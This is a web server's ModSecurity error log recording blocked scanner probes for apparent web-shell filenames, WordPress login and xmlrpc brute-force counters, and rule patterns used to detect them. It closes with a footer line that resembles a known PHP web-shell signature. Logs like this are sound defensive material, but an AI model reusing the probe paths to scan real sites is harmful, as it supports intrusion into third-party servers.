[Tue May 26 21:31:31.083365 2026] [:error] [pid 33977:tid 33989] [client 20.151.112.53:28543] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ahWgs-9cnSDNAU9sYPj7UwAAAAk"]
[Tue May 26 21:31:31.827443 2026] [:error] [pid 33977:tid 33980] [client 20.151.112.53:33953] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ahWgs-9cnSDNAU9sYPj7VgAAAAA"]
[Tue May 26 21:31:33.032920 2026] [:error] [pid 33977:tid 33992] [client 20.151.112.53:52131] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ahWgte9cnSDNAU9sYPj7WAAAAAw"]
[Tue May 26 21:31:33.865471 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:25224] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ahWgte9cnSDNAU9sYPj7XAAAAAg"]
[Tue May 26 21:31:35.214549 2026] [:error] [pid 36497:tid 36522] [client 20.151.112.53:18217] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ahWgt7jKQWM1gBmBY4galQAAAMw"]
[Tue May 26 21:31:36.221133 2026] [:error] [pid 43701:tid 43710] [client 20.151.112.53:25249] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ahWguIWtVI_UGrhtwKDf4wAAAUc"]
[Tue May 26 21:31:37.322579 2026] [:error] [pid 43701:tid 43713] [client 20.151.112.53:65289] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ahWguYWtVI_UGrhtwKDf5wAAAUo"]
[Tue May 26 21:31:38.723391 2026] [:error] [pid 33887:tid 33939] [client 20.151.112.53:18206] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ahWgutCOI_FV7meOxGdE8AAAAJQ"]
[Tue May 26 21:31:39.489414 2026] [:error] [pid 33977:tid 34004] [client 20.151.112.53:63800] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ahWgu-9cnSDNAU9sYPj7awAAABg"]
[Tue May 26 21:31:40.970565 2026] [:error] [pid 36497:tid 36522] [client 20.151.112.53:37446] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ahWgvLjKQWM1gBmBY4gapwAAAMw"]
[Tue May 26 21:31:42.118427 2026] [:error] [pid 36497:tid 36524] [client 20.151.112.53:28534] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ahWgvrjKQWM1gBmBY4gaqwAAAM4"]
[Tue May 26 21:31:42.721168 2026] [:error] [pid 33886:tid 33903] [client 20.151.112.53:37481] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "ahWgvrBYzgp5rPVdHcWrvgAAAEw"]
[Tue May 26 21:31:44.171016 2026] [:error] [pid 33887:tid 33926] [client 20.151.112.53:13105] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "ahWgwNCOI_FV7meOxGdE8gAAAIc"]
[Tue May 26 21:31:44.770558 2026] [:error] [pid 36497:tid 36534] [client 20.151.112.53:64374] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "ahWgwLjKQWM1gBmBY4gargAAANg"]
[Tue May 26 21:31:45.806090 2026] [:error] [pid 36497:tid 36518] [client 20.151.112.53:52128] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "ahWgwbjKQWM1gBmBY4gasQAAAMg"]
[Tue May 26 21:31:46.574023 2026] [:error] [pid 36497:tid 36532] [client 20.151.112.53:18199] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "ahWgwrjKQWM1gBmBY4gatQAAANY"]
[Tue May 26 21:31:47.461772 2026] [:error] [pid 43701:tid 43716] [client 20.151.112.53:55112] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "ahWgw4WtVI_UGrhtwKDgDQAAAU0"]
[Tue May 26 21:31:48.234894 2026] [:error] [pid 43701:tid 43727] [client 20.151.112.53:18238] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "ahWgxIWtVI_UGrhtwKDgEQAAAVg"]
[Tue May 26 21:31:49.143843 2026] [:error] [pid 36497:tid 36530] [client 20.151.112.53:63745] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "ahWgxbjKQWM1gBmBY4gavwAAANQ"]
[Tue May 26 21:31:50.510298 2026] [:error] [pid 36497:tid 36511] [client 20.151.112.53:20833] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "ahWgxrjKQWM1gBmBY4gaxAAAAME"]
[Tue May 26 21:31:52.624589 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:25226] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "ahWgyIWtVI_UGrhtwKDgHQAAAVQ"]
[Tue May 26 21:31:54.013088 2026] [:error] [pid 33977:tid 34001] [client 20.151.112.53:28523] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "ahWgyu9cnSDNAU9sYPj7dwAAABU"]
[Tue May 26 21:31:54.928596 2026] [:error] [pid 43701:tid 43718] [client 20.151.112.53:41680] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "ahWgyoWtVI_UGrhtwKDgJQAAAU8"]
[Tue May 26 21:31:56.321108 2026] [:error] [pid 43701:tid 43706] [client 20.151.112.53:65318] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddd.php"] [unique_id "ahWgzIWtVI_UGrhtwKDgKAAAAUM"]
[Tue May 26 21:31:58.606389 2026] [:error] [pid 43701:tid 43720] [client 20.151.112.53:18176] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahWgzoWtVI_UGrhtwKDgNQAAAVE"]
[Tue May 26 21:32:01.927135 2026] [:error] [pid 43701:tid 43711] [client 20.151.112.53:29807] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahWg0YWtVI_UGrhtwKDgQAAAAUg"]
[Tue May 26 21:32:03.180641 2026] [:error] [pid 36497:tid 36512] [client 20.151.112.53:54526] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahWg07jKQWM1gBmBY4ga3QAAAMI"]
[Tue May 26 21:32:05.447589 2026] [:error] [pid 43701:tid 43705] [client 20.151.112.53:25263] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahWg1YWtVI_UGrhtwKDgTgAAAUI"]
[Tue May 26 21:32:07.624499 2026] [:error] [pid 43701:tid 43717] [client 20.151.112.53:41706] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jj.php"] [unique_id "ahWg14WtVI_UGrhtwKDgWQAAAU4"]
[Tue May 26 21:32:08.841420 2026] [:error] [pid 33977:tid 34001] [client 20.151.112.53:37376] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jj.php"] [unique_id "ahWg2O9cnSDNAU9sYPj7hAAAABU"]
[Tue May 26 21:32:11.291801 2026] [:error] [pid 33888:tid 33961] [client 20.151.112.53:55154] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jj.php"] [unique_id "ahWg2zqzTeoxiinZsGEW0QAAAQ8"]
[Tue May 26 21:32:12.959037 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:39803] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jj.php"] [unique_id "ahWg3O9cnSDNAU9sYPj7jQAAAAg"]
[Tue May 26 21:32:14.721308 2026] [:error] [pid 36497:tid 36526] [client 20.151.112.53:15635] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccc.php"] [unique_id "ahWg3rjKQWM1gBmBY4ga7gAAANA"]
[Tue May 26 21:32:15.399128 2026] [:error] [pid 33977:tid 33982] [client 20.151.112.53:23220] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccc.php"] [unique_id "ahWg3-9cnSDNAU9sYPj7kgAAAAI"]
[Tue May 26 21:32:16.258335 2026] [:error] [pid 33977:tid 33994] [client 20.151.112.53:15659] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccc.php"] [unique_id "ahWg4O9cnSDNAU9sYPj7lwAAAA4"]
[Tue May 26 21:32:17.471721 2026] [:error] [pid 33886:tid 33895] [client 20.151.112.53:15644] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccc.php"] [unique_id "ahWg4bBYzgp5rPVdHcWrzgAAAEQ"]
[Tue May 26 21:32:18.912586 2026] [:error] [pid 33888:tid 33964] [client 20.151.112.53:35073] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-link-snpm.php"] [unique_id "ahWg4jqzTeoxiinZsGEW4AAAARI"]
[Tue May 26 21:32:19.648305 2026] [:error] [pid 33888:tid 33966] [client 20.151.112.53:2931] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-link-snpm.php"] [unique_id "ahWg4zqzTeoxiinZsGEW5AAAARQ"]
[Tue May 26 21:33:01.215756 2026] [:error] [pid 36497:tid 36519] [client 74.7.227.17:56078] [client 74.7.227.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahWhDbjKQWM1gBmBY4gcBgAAAMk"], referer: https://gigfragments.org/
[Tue May 26 22:11:09.580942 2026] [:error] [pid 33886:tid 33909] [client 64.23.248.3:55130] [client 64.23.248.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.248.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWp_bBYzgp5rPVdHcW3qgAAAFI"]
[Tue May 26 22:11:11.188503 2026] [:error] [pid 33886:tid 33907] [client 64.23.248.3:55130] [client 64.23.248.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.248.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWp_7BYzgp5rPVdHcW3twAAAFA"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 22:17:48.250630 2026] [:error] [pid 36497:tid 36526] [client 106.52.49.148:53720] [client 106.52.49.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahWrjLjKQWM1gBmBY4g9ZAAAANA"]

Youez - 2016 - github.com/yon3zu
LinuXploit